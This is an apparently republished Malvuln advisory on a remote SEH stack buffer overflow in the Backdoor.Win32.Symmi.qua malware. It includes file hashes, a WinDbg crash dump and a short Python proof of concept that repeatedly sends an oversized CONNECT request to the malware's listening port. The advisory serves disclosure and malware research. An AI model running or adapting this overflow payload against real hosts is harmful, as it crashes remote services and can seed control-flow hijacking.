Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https:\/\/malvuln.com\/advisory\/6e81618678ddfee69342486f6b5ee780.txt
Contact: malvuln13@gmail.com
Media: x.com\/malvuln <\/p>\n
Threat: Backdoor.Win32.Symmi.qua
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like “\u2663” ord(a) “9827” the other ports return no response, target the non responsive port. Third-party adversaries who can detect and reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).
Family: Symmi
Type: PE32
MD5: 6e81618678ddfee69342486f6b5ee780
SHA256: a073f0bf8599352b57540930c36d655ba9e5a5afeb0c2606b07372e62476d3b3
Vuln ID: MVID-2024-0692
Dropped files: ksomnbi.dll
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 09\/03\/2024<\/p>\n
Memory Dump:
(1834.3f0): Stack buffer overflow – code c0000409 (first\/second chance not available)
eax=00000000 ebx=00000000 ecx=fffff74a edx=027ff640 esi=00000000 edi=00000002
eip=76fced3c esp=027ff038 ebp=027ff078 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
76fced3c c21400 ret 14h<\/p>\n
0:007> .ecxr
eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000
eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ksomnbi+0x1f32:
10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00<\/p>\n
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************<\/p>\n
*** WARNING: Unable to verify checksum for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe<\/p>\n
FAULTING_IP:
ksomnbi+1f32
10001f32 aa stos byte ptr es:[edi]\n
EXCEPTION_RECORD: 027ff23c — (.exr 0x27ff23c)
ExceptionAddress: 10001f32 (ksomnbi+0x00001f32)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 02800000
Attempt to write to address 02800000<\/p>\n
PROCESS_NAME: Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe<\/p>\n
ERROR_CODE: (NTSTATUS) 0xc0000409 – The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 – The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n
EXCEPTION_PARAMETER1: 00000015<\/p>\n
MOD_LIST: <ANALYSIS\/><\/p>\n
NTGLOBALFLAG: 0<\/p>\n
APPLICATION_VERIFIER_FLAGS: 0<\/p>\n
CONTEXT: 027ff28c — (.cxr 0x27ff28c)
eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000
eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ksomnbi+0x1f32:
10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00
Resetting default scope<\/p>\n
WRITE_ADDRESS: 02800000 <\/p>\n
FOLLOWUP_IP:
ksomnbi+1f32
10001f32 aa stos byte ptr es:[edi]\n
FAULTING_THREAD: 000003f0<\/p>\n
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE<\/p>\n
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE<\/p>\n
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE<\/p>\n
LAST_CONTROL_TRANSFER: from 10002fc3 to 10001f32<\/p>\n
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
027ff6fc 10002fc3 027ff74a 02517ff0 00000001 ksomnbi+0x1f32
027fff80 41414141 41414141 41414141 41414141 ksomnbi+0x2fc3
027fff84 41414141 41414141 41414141 41414141 0x41414141
027fff88 41414141 41414141 41414141 41414141 0x41414141
027fff8c 41414141 41414141 41414141 41414141 0x41414141
027fff90 41414141 41414141 41414141 41414141 0x41414141
027fff94 41414141 41414141 41414141 41414141 0x41414141
027fff98 41414141 41414141 41414141 41414141 0x41414141
027fff9c 41414141 41414141 41414141 41414141 0x41414141
027fffa0 41414141 41414141 41414141 41414141 0x41414141
027fffa4 41414141 41414141 41414141 41414141 0x41414141
027fffa8 41414141 41414141 41414141 41414141 0x41414141
027fffac 41414141 41414141 41414141 41414141 0x41414141
027fffb0 41414141 41414141 41414141 41414141 0x41414141
027fffb4 41414141 41414141 41414141 41414141 0x41414141
027fffb8 41414141 41414141 41414141 41414141 0x41414141
027fffbc 41414141 41414141 41414141 41414141 0x41414141
027fffc0 41414141 41414141 41414141 41414141 0x41414141
027fffc4 41414141 41414141 41414141 41414141 0x41414141
027fffc8 41414141 41414141 41414141 41414141 0x41414141
027fffcc 41414141 41414141 41414141 41414141 0x41414141
027fffd0 41414141 41414141 41414141 41414141 0x41414141
027fffd4 41414141 41414141 41414141 41414141 0x41414141
027fffd8 41414141 41414141 41414141 41414141 0x41414141
027fffdc 41414141 41414141 41414141 41414141 0x41414141
027fffe0 41414141 41414141 41414141 41414141 0x41414141
027fffe4 41414141 41414141 41414141 41414141 0x41414141
027fffe8 41414141 41414141 41414141 41414141 0x41414141
027fffec 41414141 41414141 41414141 41414141 0x41414141
027ffff0 41414141 41414141 41414141 00000000 0x41414141
027ffff4 41414141 41414141 00000000 00000000 0x41414141
027ffff8 41414141 00000000 00000000 00000000 0x41414141
027ffffc 00000000 00000000 00000000 00000000 0x41414141<\/p>\n
SYMBOL_STACK_INDEX: 0<\/p>\n
SYMBOL_NAME: ksomnbi+1f32<\/p>\n
FOLLOWUP_NAME: MachineOwner<\/p>\n
MODULE_NAME: ksomnbi<\/p>\n
IMAGE_NAME: ksomnbi.dll<\/p>\n
DEBUG_FLR_IMAGE_TIMESTAMP: 537a7d0a<\/p>\n
STACK_COMMAND: .cxr 0x27ff28c ; kb<\/p>\n
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_ksomnbi.dll!Unknown<\/p>\n
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_ksomnbi+1f32<\/p>\n
Followup: MachineOwner
———<\/p>\n
0:007> !exchain
027ff0f0: ntdll!_except_handler4+0 (76fd6a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (770157ad)
027ff710: ksomnbi+30df (100030df)
027fffcc: 41414141
Invalid exception stack at 41414141<\/p>\n
Exploit\/PoC:
from socket import *<\/p>\n
def doit():<\/p>\n
MALWARE_HOST=”x.x.x.x”
PORT=6917 #random port<\/p>\n
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))<\/p>\n
PAYLOAD=”CONNECT \/”+”A”*2878 + ” HTTP\/1.1\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: 2878\\r\\nHost: “+MALWARE_HOST
s.send(PAYLOAD.encode())
s.close()<\/p>\n
while 1:
doit()
time.sleep(0.5)<\/p>\n
Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"
Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https:\/\/malvuln.com\/advisory\/6e81618678ddfee69342486f6b5ee780.txtContact: malvuln13@gmail.comMedia: x.com\/malvuln Threat: Backdoor.Win32.Symmi.quaVulnerability: Remote Stack Buffer Overflow (SEH)Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like “\u2663” ord(a) “9827” the other ports return no response, target the non responsive port. …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59445","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59445"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59445\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}